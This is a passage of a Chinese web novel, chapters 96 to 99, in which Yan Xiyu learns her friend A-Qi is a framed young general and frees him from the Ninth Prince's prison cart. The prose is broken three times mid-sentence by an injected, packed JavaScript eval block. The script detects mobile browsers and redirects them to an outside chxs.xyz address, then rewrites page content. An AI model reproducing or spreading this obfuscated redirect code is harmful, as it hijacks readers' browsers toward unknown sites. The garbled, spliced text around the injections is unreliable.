“阿盛是我的一位朋友,他应该不是你所说的盛公子,你找错人了,”燕惜妤想到阿盛那病怏怏的样子,说他是富人家的公子确实像,但要说他是丞相家的公子……不怎么像啊。 “不会找错!”不过对方很坚信没找错人,“边地只有你一人姓燕,再没旁的人叫燕惜妤这个名字。” “可我真不认识你说的少将军和盛公子,我没办法帮你,”燕惜妤很无奈,“我只认识一个叫阿盛的,和一个叫阿七的公子,他们总不会一个是丞相家的公子,另一个是羿家军的少将军吧。” 燕惜妤原以为把事情说清楚,对方会放弃,但没想到这人脸色骤变,眼神却迸出激动:“我家少将军在家族中行七,盛公子喊他七哥,将军和夫人偶尔会喊他阿七。” 燕惜妤一愣,脑海里瞬间浮现出阿七那好看的样子。 阿七是羿家军少将军?长这么好看的少将军? 但阿盛确确实实是喊阿七七哥,所以阿七出事了?! “阿七……是少将军?”燕惜妤皱着眉问,“他出什么事了?” “七皇子说我们少将军和前朝余孽勾结,让人把少将军押走了!”对方说,“所以盛公子让我们来找燕姑娘,燕姑娘你就是七皇子口中所说的前朝余孽。” 燕惜妤差点就被气笑了。 “这么明显的栽赃,你们看不出来?阿七和阿……不对,”燕惜妤改口道,“你们少将军和盛公子会看不出来?” 对方低下了头:“七皇子亲自带兵来捉我们少将军,少将军没反抗。” “他没反抗?”燕惜妤眯着眼睛说,“是不是他要敢反抗,会对羿家,对你们羿家军不利?” 对方继续低着头,双手也攥成了拳头。 “我懂了,”燕惜妤“呵”了一声,“软肋太多,所以受制于人。” 对方的拳头越攥越紧。 燕惜妤皱眉想着事情,忽然问:“那九皇子身边是不是有个什么车大人?” 对方连忙点头:“是,车文成大人是兵部侍郎。” “兵部的官员?”燕惜妤“哦”了一声,“所以才是他跟着那什么九皇子来捉阿七啊。” 不等对方回答,燕惜妤又说:“那兵部侍郎来找过我。” “他来找过燕姑娘?”对方抬头。 “对,他来确认有我这个人,然后才能栽赃给你们少将军,”燕惜妤“啧”了一声,“阿七被栽赃还真是不冤。” 大承的少将军,陪着她这姓燕的人一路来到了边地,期间肯定会有人知道这事,有心人拿这事来陷害阿七,阿七还真是没地说理,因为她确实姓燕。 “你……我该怎么称呼你?”燕惜妤想到了一些事,刚想说,但看着眼前这人,先问了另外的问题。 “丁和,曾是羿家军左哨营参将,现是少将军府中的侍卫长,”许和抱拳道,“虽说我已离开军营,但我仍在少将军府任职,请燕姑娘信我。” “丁叔,我有件事想不明白,”燕惜妤看向丁和,眼中有着疑惑,“阿七……你们少将军被人带走了,他家人呢?是怎么处理这事的?” “乌州边地只有少将军和夫人在,”丁和说,“羿家众人一直都是分开镇守着大承的各处边地,若无陛下旨意,他们不能擅离边地。” 一家人全给大承守国门,这是只逮着羿家薅羊毛呢。薅就薅吧,毕竟也不是只有羿家在守国门,军营中还有无数的将士同在一起。 可是皇子故意栽赃那就不应该了啊,她这当事人虽然姓燕,但她不是前朝余孽。 燕惜妤在心里“啧”了一声:“将军府中的夫人,是阿七的母亲吗?她是怎么做的?” “是的,”丁和点头,“我来找燕姑娘时,也同时有人去禀报夫人,所以我不知夫人会如何做,但羿家动一发会牵全身,夫人……可能一时也没法子能救少将军。” 这点燕惜妤也想到了,阿七不能反抗,因为他身后还关系着整个羿家。那他母亲应当也不敢随便去救儿子,因为羿夫人身后也关系着整个羿家,她不是不敢救儿子,她是不能救儿子。 憋屈,冤枉,可却无处可申冤。 燕惜妤吐出一口气:“你们少将军是自愿被带走的,你们为什么非得想救他?” 丁和脸上充满了愤怒:“因为少将军被他们锁在牢车里,还给套上了头枷,手杻和脚桎,他们把少将军当成死囚犯般给关在牢车里!” 他越说,脸上的表情越狰狞:“少将军要被他们一路游街示众地押去皇都!不知情的人,只会以为少将军真的犯了死罪才被如此对待!九皇子不仅想让少将军身败名裂,他还要让羿家从此威信扫地,他想毁了羿家军!” 燕惜妤安静地听着,脸上没什么表情,但手却握成了拳头。 丁和说完,胸腔因气愤而起伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028266|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 燕惜妤皱眉问:“羿家再怎么说也为大承守着国门,九皇子为什么要这么对待羿家?就算他想换人执掌兵权,他也没必要毁了羿家啊,难道说羿家挡了他的道?” 丁和愤恨道:“九皇子恨羿家,东宫太子妃是羿家嫡长女,是我们少将军的亲姐姐。” 燕惜妤垂下了眼睫。 怪不得,原来是皇子为夺取皇位的斗争。那确实是誓不两立的死对头,且不死不休。 丁和看燕惜妤不说话,着急道:“燕姑娘,盛公子说你能帮我们少将军,你……能帮帮少将军吗?” “你想我怎么帮他?”燕惜妤抬起眼看他,“从牢车里救他出来,然后藏起来?” 丁和一怔:“少将军不会躲躲藏藏的,而且押解少将军的人是高将军,他是皇都四守将之一,他既然亲自来了,少将军就必须要去皇都。” “那我该怎么救他?”燕惜妤皱眉道,“只把他从牢车里放出来,然后让他跟着九皇子去皇都?” 丁和估计也知道他在强人所难,很内疚地说:“若是少将军能比九皇子先去到皇都,我们少将军一定能化解这次危机。” 燕惜妤不解道:“他先到皇都,和九皇子一起到皇都,有什么不同?反正他去到皇都,所有的事情都会水落石出。”又何必让她多此一举去救人? “当然有所不同,”丁和连忙说,“若我们少将军先到皇都,就能保住他的军职,因为少将军手中的兵权要是分了出去,他虽然仍能留在军中,但很多事他不能再做主,要是让那些无能之人掌控了兵权,不仅军中将士会枉死,少将军为护住军中将士,也会……” “行了,你不用说了,”燕惜妤抬手阻碍他,“我去救他。” 丁和惊喜道:“燕姑娘说真的?” “对,你这样,”燕惜妤在他耳边低声说了几句话,“你按照我说的去做,我能把你们少将军救出来。” 丁和眼神中满是怀疑:“燕姑娘,你说的这法子是救人吗?” “是救人的,”燕惜妤对他抬了抬头,“你去准备,反正你也没别的办法了,阿盛让你找我,我就是唯一能救你们少将军的人。” 丁和站着没动。 “你也说了我就是九皇子口中提到的那个前朝余孽,可阿盛还是让你来找我去帮你们少将军,”燕惜妤笑了笑,“他没办法救人,你们也没办法救人,所以你犹豫也没用,你们只能信我。” 丁和一咬牙:“好,我听燕姑娘,这就去准备。” 他说完,跑出去翻身上马,然后飞快地骑马离开。 燕惜妤看着他的背影,对仲三说:“去帮我把我三姐叫回来,你留在布坊帮忙。” “好,”仲三向布坊走去。 “燕姑娘,那是谁?”佟槿方走了过来,“我怎么听见你们在说什么少将军……” “你听错了,”燕惜妤瞥他一眼,“他是阿七和阿盛派过来的,让我过去帮个小忙,我带我三姐一起过去,你在家顾着些大家。” 燕惜妤说完,向屋里走去。 桑大娘站在炕边看着她:“姑娘,出什么事了?” “没事,我和我三姐出去一趟,”燕惜妤笑着说,“桑大娘,我三姐放银子的地方你是知道的,要是有用钱的地方,你帮忙看着点,别让外人把我的钱骗走了。” 桑大娘一怔,平时燕惜妤外出总会说让大家等她回来,还会说几时回来,但这次她没说。 97. 第97章 树林外停着一辆马车,丁和牵着马不停地左右张望着,过了好一会,才听见马蹄声,他连忙看过去,就见燕惜妤和另一位姑娘同骑着一匹马过来。 “燕姑娘!”丁和喊道,“这里。” 燕惜妤带着脸上蒙了面纱的罗采春下了马,再将罗采春扶上马车,然后她也钻进了马车里。 “阿妹,你会不会有危险?”罗采春压着声音说,“阿七……他真是羿家军的将士?” “外面这人说是,我信他说的话,”燕惜妤拿起马车里放的几套衣裳看了两眼,又看了看旁边摆着的食盒,这才隔着车帘对外面守着的丁和说,“走吧。” 丁和连忙驾着马车往官道上去,燕惜妤骑来的那匹马也一路跟着。 马车动起来后,罗采春更紧张了:“阿妹,阿七若是军营中的将士,怎的还需要你去救?” “他倒霉呗,”燕惜妤笑笑,“再强大的人,也总有着了道的时候,阿七这次就是。” 堂堂的羿家少将军,被人用如此错漏百出的理由也能污蔑成勾结前朝余孽,主要的原因在她身上。 她若不姓燕,又或者没有和他同路一起来到这边地,他也许不会被九皇子用这个理由抓走。 当然,九皇子有心要害他,她若不出现,九皇子也会找到别的借口,总之他们俩是不死不休的关系,总要有一方倒下才能罢休。 可好巧不巧,偏偏她姓燕,偏偏他们一起同路来边地,偏偏她被人说成了他里通外敌的证据,所以她必须要去救他。 羿家少将军年少成名,小小年纪就已带兵上战场。将士在上战场前都是抱着为国捐躯的必死之心,正因为他们英勇无畏,所以才能所向披靡,才能换来家国无恙。 换作是她,她未必能做到。 大多数人都做不到。 但阿七做到了,羿家军所有的将士都做到了。 所以她不能让丁和说得事情发生,不能让阿七身败名裂,也不能让羿家从此威信扫地,更不能让众将士为此寒了心! 燕惜妤眼中泛起的冷意,让一旁的罗采春有点心惊。 她双手握住燕惜妤的手臂,轻声说:“阿妹。” 燕惜妤眨了一下眼睛,侧头看她:“三姐,怎么了?” 罗采春仔细看着燕惜妤,没在她脸上看到生气的表情,这才放下心来:“我还以为你在生气。” 燕惜妤很少生气,罗采春几乎就没见过她生气时的样子。 燕惜妤笑了笑:“是有点生气,但现在不生气了,我一想到等会能把气撒出去,我就觉得开心。” “不生气就好,”罗采春抬手理了理燕惜妤鬓边的发丝,“三姐同你去救阿七,只要你每天能开开心心,无论什么事三姐都帮你。” “我三姐对我真好,”燕惜妤将头抵在罗采春的肩膀上,“只要有我三姐,我就能每天都开心。” 罗采春轻声说:“就算三姐不在,你也要每天都开心。” 她说话的同时,马车外也响起了杂乱的马蹄声,导致燕惜妤没听清她说的话,于是抬起头问:“三姐,你说什么?太吵了我听不清。” 罗采春摇摇头说:“没说什么,有人来了,是找我们的吗?” 这时,丁和在马车外说:“燕姑娘,少将军的贴身侍卫全到了。” 燕惜妤伸手撩开车帘往外看了一眼,看到十几匹高头大马,和马背上那些身着软甲脸戴面具的士兵。 “这些人只要一出现,一直留意着你们羿家军的那些人,肯定会认出他们就是少将军的贴身侍卫吗?”燕惜妤问丁和。 “是,一定会认出来,少将军的贴身侍卫是在羿家军营中挑选出来的精锐,只要一动手,就能知道他们的身份,”丁和肯定地回答。 “好,”燕惜妤放下门帘,“尽量在日落前跟上九皇子他们,但注意不要被他们发现。” “是!”丁和在马车外应了一声,然后喊道,“所有人听令,全速追上九皇子的车马。” 燕惜妤刚想说“不用这么赶”,马车在下一霎瞬间就摇晃了起来,差点儿没把她从凳上给簸下来。 不过马车晃着晃着,却把燕惜妤给晃睡了。 罗采春看见她后脑勺靠着马车车厢睡着,还一左一右地晃,连忙伸手去扶她。 看着这样都能睡着的燕惜妤,罗采春心里很不是滋味。 自从她和燕惜妤在半路上遇见,再到后面燕惜妤救了越来越的人,每天夜里在野外歇息时,燕惜妤一直都只是在闭目养神,但凡四周有一丁点的风吹草动,她都是手握着匕首最先站起来的。 好不容易到了有瓦遮头的边地,燕惜妤却又要隔三岔五去地闯夷狄人的地盘。 每次从边卡回来时,她都一副轻松又开心的样子,但等到夜里歇息,才知晓她有多累。以前有丁点动静立即会醒来的人,现在就算被小满儿不小心踩到手都毫无反应。 就像此时,这么晃荡的马车,她都能睡得着。 “……你若是没带着我们,那该活得是怎样的恣意,”罗采春轻轻地说,“是我们拖累你了。” 这时,一直晃动的马车突然慢了下来。马车一慢,一直睡着的燕惜妤嗖地坐直了身体。 刚睡醒的她眼中闪过警惕,在看见罗采春时,又倏地换成了轻松:“三姐,马车停下了。” “嗯,”罗采春拧眉看她,“阿妹你累不累?” “不累啊,”燕惜妤脱口而出,“我今日都还没做什么事,不累。” 罗采春看着她摇了摇头,嘴上说不累,可方才那么晃荡的马车都能睡着。 马车外忽然响起了丁和的声音:“燕姑娘,九皇子的车马已经探明方位,日落前他们极有可能会有前头小树林中宿营歇夜。” “知道了,悄悄跟上去,”燕惜妤朝外面应了一声,然后把马车里摆着的干粮拿了出来,“三姐,咱先吃些东西,赶了大半天的路,我饿了。” 燕惜妤啃完干粮,拿起放在旁边的衣裳开始换。 罗采春帮着她将换下的衣裳叠好,再一抬头,燕惜妤已经穿上了套有软甲的束身玄衣,这时正在往脸上戴镔铁所制的面具。 “阿妹,你这身打扮是要?”罗采春伸手碰了碰她自己脸上的面纱,“需要掩人耳目吗?” “嗯,不能让别人知道是我,”燕惜妤单手托着面具,然后背对着罗采春坐下,“三姐,帮我系一下后面的带子。” “这是铁面具吧?”罗采春为她系好带子,又随便帮她整理了一多下头发,“有羿家军这么多将士在,你万事莫出头。” “好,”燕惜妤歪了歪头,确定面具不会掉,这才掀起门帘准备从马车里出去,“三姐,你在马车里等我,丁和他们会保护你。” “你且当心时,”罗采春连忙说,“三姐在这里等你。” “好,我很快就回来,”燕惜妤跳下马车,一转身,同十几个和她一样装束的人打了照面。 大家都身穿套有软甲的束身玄衣,脸上也全都戴着镔铁所制的面具,除了身高体格有些差异,一眼瞧着就像眼睛看花了才出现了重影。 “燕姑娘,接下来我们该怎么做?”丁和走过来说,“九皇子的车马就在前头宿营,他此次出行带了皇都百来个将士,少将军的牢车定是被他们围在中央,皇都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032491|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将士各个身手都不错,若要硬闯,我们人少怕是会吃亏。” “只带百来人,这么少的吗?”燕惜妤好奇道,“他不是皇子吗?就不怕路上有人杀他?” “皇子出行,各州县都会派兵守护,”丁和语带不屑,“现在跟着九皇子的是乌州的士兵。” 燕惜妤懂了,皇子出行,每经过一处州县,当地守军就需要负责皇子的安全,要是在哪个州县出了事,就让当地的知州知县给皇子陪葬。 脚下还是乌州的地界,所以是乌州的守军在保护九皇子。但同时乌州的守军也和羿家军有关联,所以丁和没有把那些将士算在内。 怪不得丁和会这么匆忙地赶过来,原来他是怕九皇子的车马一旦出了乌州,营救阿七的难道就会加大。 “那这样,我先过去,”燕惜妤对丁和说,“等你们听见九皇子那边有了动静,你再带着人过去,要把马车也赶过去。” “只你一人过去?”丁和有点惊讶,“你让我把少将军的贴身侍卫都喊来,不是随你一同去救人?” “不是,我让你把他们喊来,主要是保护在马车里的人,”燕惜妤的眼神变得危险起来,还缓缓向他靠近,并压低声音说,“你记住,你的任务是保护好马车里的人,她要是出了事,我就杀了你们少将军。” 丁和一顿,下意识向后退了一步:“燕姑娘你!” “我说笑的,”燕惜妤的声音忽然又变得轻快,“我帮你救人,你可得保护好我带来的人。” 她脸上戴着面具,丁和看不见她面上的表情,听声音像真的是在说笑,但想到刚才她望过来的眼神,丁和一时无法确定她到底说的是真还是假。 “燕姑娘放心,我定能护好马车里的姑娘,”丁和郑重地一抱拳,“我们少将军就交给燕姑娘了!” “行吧,我人都来了,总不能让我空着手回去,”燕惜妤抬头看了看天空,“天暗下来了,在树林里若想方便做事,该点燃火把了吧?” “是,九皇子奢靡,火把灯笼油灯全都点上了,”丁和说,“只是离得远,我们无法看见火光。” “既然这样,那我就去救人吧,”燕惜妤边说边转了转手腕,还侧了一下脖子,“我要让他们知道,阿七不是他们想抓就能抓的。” 丁和立即说:“那燕姑娘请骑我的马……” “不用,”燕惜妤对他摆了摆手,“骑马耽搁时间。” 丁和刚想说“骑马怎么会耽搁时间”,就见燕惜妤的身影一动,眼前倏地就不见了燕惜妤的人。 “……!”丁和心头一震,刚想说“燕姑娘人呢”,身旁已经是惊呼声四起。 “……人呢?!” “我看花眼了?!难不成方才这里没站着人?!” “你傻了吗!明明就有人!还同丁和说了好些话!” “丁和!方才那是谁?!!” 丁和张了张嘴:“那是燕……” “姓燕?!你疯了吗?你让姓燕的人去救我们少将军?!那不就是坐实了少将军勾结前朝余孽的罪名?!!” “不是!我得去看看!”有人翻身上马。 丁和一个箭步冲上去扯住那人手中的缰绳:“这时不能过去,还不到时候。” 燕惜妤方才说了,要等那边有了动静才能过去。 马背上的人顿了一下,忽然说:“那我们悄悄过去,我想看看方才那人的身手。” 丁和又是一愣。 对方紧接着说:“你难道不想看看此人动起手来是怎样的吗?” 丁和脸上看着像是无动于衷,但心底却有道声音一直在说:去看看! 98. 第98章 营火照亮了树林,九皇子的车马早已安顿妥当,随行人员也各自在营帐中歇息,负责守夜的士兵尽职尽责地在不停地四处巡逻。 随行的炊事林掌勺在厨帐中问帮厨伙夫:“给……那位的饭食可送去了?” 虽然林掌勺没有指名道姓,但一旁的伙夫却知道他说的是谁:“殿下帐中侍候的周内侍说饿一顿死不了人。” 林掌勺听他这么说,只能摇了摇头,然后对厨帐的伙夫们说:“殿下喜热茶,夜里灶头的火看好了,锅里的水也好了。” 说完这话,他走到厨帐外,看了眼前方不远的空地。 空地正中停放着用镔铁打造的牢车,牢车约有一人高,顶部做成头枷的样式,有个人正被锁在牢车里,只有脑袋露在牢车外。 此人双手被极粗的手杻锁着,双脚也被套上了厚重的脚桎,本就不大的牢车,头又被头枷卡在牢车外,所以这人只能一直站着,因锁住双手的手杻太过于重,已经把他的手腕磨出了泛着鲜血的伤痕。 牢车外有几堆点燃的营火,时不时会有巡逻的士兵经过,但士兵们却并没有往牢车这边多看。 牢车里被锁着的是他们大承朝少年成名且战无不胜的羿少将军,虽然他们和他各为其主,但他们到底还是钦佩他的,可主命难违,他们也只能选择视而不见。 熊熊燃烧的营火映照着羿衍椋那张略为苍白的脸,虽然被锁在牢车里站了一整日,但他心里早就知道会这样,所以也并不生气。 他抬眼扫了扫四周,九皇子带来的人对他视而不见,乌州守军也都全都离牢车远远站着,他们像是各有各的职责,很有默契地不看向这边。 羿衍椋也不再留意四周的人,他闭目养神,心里却在想着军营的事。 他被九皇子带走,他母亲定不会冲动行事,若想救他,也只会等他进了皇都再作打算。 大承除了皇都,其他州县都有羿家军在镇守,尤其是几外边地,全是羿家的人当主将,只他一人被抓,尚不能动摇羿家在大承的根基。 太子做事无过错,九皇子抓他影响不了太子,但会影响羿家的声誉,也会影响羿家军在百姓心中的名望,九皇子抓他,只不过是想借机安插他自己的人进羿家军。 九皇子和十皇子素来对兵权虎视眈眈,而陛下不仅把制衡之术用在大臣身上,也用在他自己的亲人身上。 太子掌管户部,九皇子掌管兵部,十皇子掌管刑部,太后外家掌管吏部,除皇都之外的兵权则交给了太子妃的娘家羿氏一族。 这天下在帝皇眼中不过是一盘棋,羿家和他也只是棋盘上的棋子。 但只要执棋之人能让天下百姓过着安稳的日子,羿家和他,甘愿当一枚有用的棋子。 所以他现在受这点苦算不了什么。 好在乌州边地的羿家军纪律严明,就算他被抓也不会擅自行动,这事应该不会引起不可控的问题。 因为他被抓走,该知道的人都会知道,只要羿家不动,其他人也只会暗中观察并不会抢在羿家之前有所动作…… 羿衍椋想到这,脑海中却忽然闪过燕惜妤的身影。 燕姑娘…… 她自从去了边地,一次也没进城找过他。 万一她在他被抓去皇都的这段日子来找他…… 应该不会有这么凑巧的事,之前她一次也没来过,以后想来也不会找他。 “阿七。” 耳边骤然响起熟悉的声音,羿衍椋猛地睁开眼睛—— 只见牢车外挂着一个人,此人身着他羿家影卫的装束,虽脸上戴着面具,但对方那双眼睛却极为熟悉! “燕……!”羿衍椋脸上表情显然很是震惊,但他仍然压抑住了情绪,张大嘴巴却只发出轻微的声音,“你怎出现在这里?!” “我穿成这样你也能认出来?”燕惜妤歪了歪头,语气轻松,“我现在叫阿罗,我是来救你的。” “胡闹!快回去!”羿衍椋想都没想就让燕惜妤回去,“我不会有事的,你快回去!” “你这叫没事?”燕惜妤眼珠子上下扫了他一眼,“你这羿家少将军都被人锁进牢车里了,还叫没事啊?” “你……知晓我的身份了?”羿衍椋怔了一下,脸上露出愧疚来,“我不是有意要瞒着你的,我只是……” “瞒就瞒着吧,反正我现在知道了,这事就算过去了,”燕惜妤单手扣着牢车,另一只手摆了摆,“我是来救你的,你跟我走。” “你让我跟你走……你能带我去哪?”羿衍椋笑笑,眼中有着欢喜,也有着悲伤,“我身为大承武将,若这时逃走,那就是叛变,大承再也容不下我,大承之外的人恨我入骨,我走不掉的。” 燕惜妤知道他误会了自己话中的意思,但她还是沉默了下来,想了想才说:“这天下难道就没有一个地方能让你躲着吗?” “没有,”羿衍椋斩钉截铁地说,“所以你快走,回边地去,不要再来了。” 燕惜妤没说话,只是半眯着眼睛盯着羿衍椋。 羿衍椋怕被人发现,只想让她快点离开:“你快走!” “不对,有一个地方可以让你躲,”燕惜妤忽然说,“有这么一个地方,大承不会贸然闯入,夷狄也不敢随意踏足。” “……在大承,没有我羿家军不敢去的地方,”虽然知道这时候不该说这些,但羿衍椋还是摇摇头,“你不知道,哪怕是刀山火海,羿家军也敢去闯,所以你不要浪费时间来帮我,你快回去!” “我不回去,”燕惜妤也摇头,“是丁和让我来救你的,我答应他了。” “丁和?”羿衍椋一下子就猜到了事情的关键,“难道是阿盛让他去找的你?”他身边的人,也就只有盛樗容知道燕惜妤身手了得。 “对,是阿盛让他来找我救你,”燕惜妤点头,“他说你是因为我才会被抓起来的。” “这和你无关!”羿衍椋立即说,“就算没有你,九皇子也会找别的由头来为难我,所以你不必放在心上,你也不需要听丁和的来帮我,他本就不该让你来。” “但那什么九皇子就是拿我的姓氏故意来找你麻烦,”燕惜妤冷哼了一声,“他说我是前朝余孽,这事我忍不了!” “你不要冲动!”羿衍椋连忙劝她,“这事我会处理,你先回去,等我从皇都回来,没人会敢再拿你的姓氏说事。” “我就知道你肯定有你自己的计划,”燕惜妤因脸上戴着面具看不见表情,但她的声音有着笑意,“你是少将军,又怎么会如此轻易地被人关在牢车里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036388|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你知道便好,你快回去,”羿衍椋始终是想让她快点离开,“你回去,无论谁找你,你都不要离开边地。” 燕惜妤挂在牢车外没有动:“那你怎么去皇都,任由他们一直关着你?” 羿衍椋不在意地说:“让他们关。” “不行!”燕惜妤却说,“看你这样被关在牢车里,我心里难受。” “你心里……为我难受?”羿衍椋有些怔忡地看着燕惜妤,“你……” 就在这时,骤然响起一声暴喝:“什么人?!” 羿衍椋猛地看过去,挂在牢车外的燕惜妤也侧过头来。 紧接着又是一阵急促的脚步声,还有将士的喊声:“有人劫牢车,快禀告殿下和高将军!” 她被巡逻的士兵发现,这时弓箭手手已紧紧将牢车包围,在弓箭手之后,是刀剑已出鞘的将士。 “让九皇子来见我!”羿衍椋被关在牢车里无法动弹,他双手紧紧攥着镔铁打造的牢车,暴怒道,“把你们手中的弓箭放下!让九皇子来见我!” 团团围住牢车的将士们手中弓箭和刀剑仍然对准了俩人,他们是高旗将军带来的人,只听命九皇子殿下和高旗将军。 “少将军为何事如此动怒?”九皇子站在主帐前,他身边是车文成,身前还站着手执利剑的高将军,和暴怒的羿衍椋不同,他却是一副轻松淡定的样子,“你羿家影卫夜闯皇子营帐,意图劫抢牢车,如此大胆行径,莫不是真如我查到的那样,你羿家将要叛变谋反,篡位夺权?” 刚走出营帐的盛樗容听见九皇子这话,心中突地涌出巨大的震骇! 九皇子在抓羿衍椋时,用的理由明明是从他在羿衍椋处借来的兵书为借口,说兵书中有羿衍椋勾结前朝余孽的证据,那时明明是要把人押回皇都审问。 但此时不过是来了一个羿家影卫,九皇子却想用这影卫来坐实羿家叛变的罪名。 明明说的是羿衍椋勾结前朝余孽,此时却变成了羿家篡位夺权,顾鸣觉这是想趁机将整个羿家都铲除! 盛樗容看向九皇子,仿佛是第一次看清他这位表兄的真面目。 盛樗容能想到的事,羿衍椋自然也想到了。 他虽然被关在牢车里,身上仍然有他身为少将军的傲气:“九皇子殿下虽不是大承皇帝,却也是这大承江山的皇子,若你想强把罪名安在我羿家头上,我羿家作为臣下,也确实是无可奈何。” 都说君要臣死,臣不得不死。可九皇子他不是君,他头上还有他父皇和太子皇兄,羿衍椋这句话若传出去,羿家谋反是大事,他九皇子目无尊长,想取而代之也是大事。 九皇子瞬间变得气极败坏:“你!” “殿下,不可和他多争论!”车大人在旁边低声劝说,“他羿衍椋如今被锁在牢车里动弹不得,只要我们把他羿家影卫也抓起来,于殿下而言,除掉羿家夺得兵权就又多了一枚有用的棋子。” 九皇子强压下心头怒火咬牙道:“行,我就再留他多活些时日。” 他张嘴呼出一口浊气,然后一拂袍袖:“高将军!” “末将在!”高将军高声应。 九皇子凶狠地看向牢车的方向:“把夜闯皇子营帐试图劫走犯人的羿家影卫给我拿下!” 99. 第99章 “住手!”羿衍椋双手紧紧攥着牢车,怒目切齿道,“不准伤害她!” 可任凭他再如何使劲,锁住他的镣铐和牢车只是发出金属碰撞声,没有一丁点松动。 这一刻,羿衍椋恨极了被关在牢车内无能为力的自己。 燕惜妤却很是淡定,她右手放在羿衍椋紧攥牢车青筋暴起的手背上拍了拍,语气轻松道:“少将军,今夜就让他们见识一下咱羿家影卫的真本事吧。” 话音未落,就见她手一扬起,再那么随意地拍在牢车上,只听一阵丁零当啷的声音响起—— 在众目睽睽之下,那用镔铁打造坚固无比的牢车,瞬间四分五裂开来,随着“嘡啷”之声塌在了地上! 那可是比石头还要坚硬的镔铁,就这么轻易被此人一手给拍塌了?!! 四周刹那间寂静无比,仿佛连风声都消失了! “阿罗!”羿衍椋拖着仍锁着他手脚的镣铐跳下牢车,再一个箭步冲到燕惜妤的身前,将她挡在了自己身后,“你快走!” 他不动还好,他这么一动,原本围着他们的弓箭手之中有几人被惊得手一抖,“咻咻咻”三支箭眨眼已到近前。 羿衍椋眼神一凛,脚尖挑起地上一块散落的镔铁踢了出去。 那镔铁飞出去的同时,燕惜妤也踢出一块镔铁,再一个旋身来到羿衍椋身前,右手一抬,赤手攥住了那支直射面门的利箭! 三支箭,两支被镔铁打落,另外一支被人赤手握在手中! 这么近的距离,又是视线受阻的夜里,若能躲过已非常人,而此人却还能赤手接箭?!! 四周更是鸦雀无声,死一般的寂静! 燕惜妤对四周朝着她的弓箭刀剑完全视而不见,她随手将手里的弓箭递给羿衍椋:“阿七,拿着防身。” 说完还想弯腰去看锁着羿衍椋双手的镣铐,羿衍椋却是一手将她护在身侧,低声说:“别弯腰别低头,不要把后背对着敌人,问他们要镣铐的钥匙。” 燕惜妤看了看他手脚上的镣铐,纯铁打造的镣铐过于贴近皮肉,用钥匙打开不会伤到人。 于是她转身故意粗着嗓子喊:“把镣铐的钥匙给我。” 没人回应她,有的只是夜里“呼呼”作响的风声。 就在这时,忽然传来一阵急促的马蹄声,燕惜妤和羿衍椋回头一看,发现是丁和驾着马车带着羿衍椋的贴身侍卫过来了。 燕惜妤算了一下时间和距离,丁和他们应该早就到了,估计是怕离太近会被九皇子的人发现,所以都躲在树林中窥探。 “来得正是时候!”燕惜妤喊道,“丁和,你来护住少将军。” 话音未落,她的人已经动了起来。 羿衍椋只觉得眼前人影陡然一闪,心头忽地一跳,下意识脱口而出:“别杀人!” 他这话刚出口,手持弓箭和刀剑指着他们的士兵骤然就乱了起来! 随着“啊”“咚”“嘭”的阵阵声响起,一个又一个的将士被燕惜妤赤手抛飞了出去。 人太多太乱,拿弓箭的士兵都还没来得及看清对方的身影,他们人就已经被抛了出去。 抛出去的那些将士,只觉得有什么东西在他们身上一拂而过,下一霎他们身上的关节就出现了莫名其妙的错位,疼痛感才刚涌出,他们的人就腾空而起被抛了出去,重重摔在地上时,更是伤上加伤。 一瞬间,一阵又一阵的哀嚎声响个不停。 丁和带着人早已经冲到了羿衍椋的身旁,他们一半人护着羿衍椋,一半人护着马车,手中握着的兵器在月光下泛着寒光,但他们的眼睛却盯着闯进对方敌阵中的那道身影。 “……少将军,您的贴身侍卫里没这号人物啊。” “羿家影卫也没这人。” “可是丁和不是说此人是……” 这人话还没说完,羿衍椋立即扫了这人一眼,冷声斥道:“她叫阿罗,是我的一位好友。”说完,又扫了丁和一眼。 丁和被他这么一看,只觉得头皮发麻,忙道:“难道你们加入影卫时发的誓言都忘记了?不问身份来历,只为羿家效忠。” “誓死效忠羿家!”十几位曾经的羿家影卫,现在羿衍椋的贴身侍卫齐声道。 羿衍椋这才略略放下心来,原想将燕惜妤喊回来,却惊觉一时竟找不到她的身影。 营火被风吹着,火光飘忽不定,映着地上的人影隐隐绰绰。 九皇子带来的百来位将士已经倒下了一半,剩下的人背靠着背在东观西望,明明他们没看见有人闯进来,身旁的同伙却是一个接一个地被抛飞出去。 这里被抛飞一个,哪里又被抛飞一个,他们根本就没办法反抗,只能随着呻吟声传来的方向不停地移动着身体,可就算他们再怎么变位方位,仍旧找不出那闯进他们之中的羿家影卫! 这到底是何方神圣,是人还是鬼?为何武功身法如此诡异! 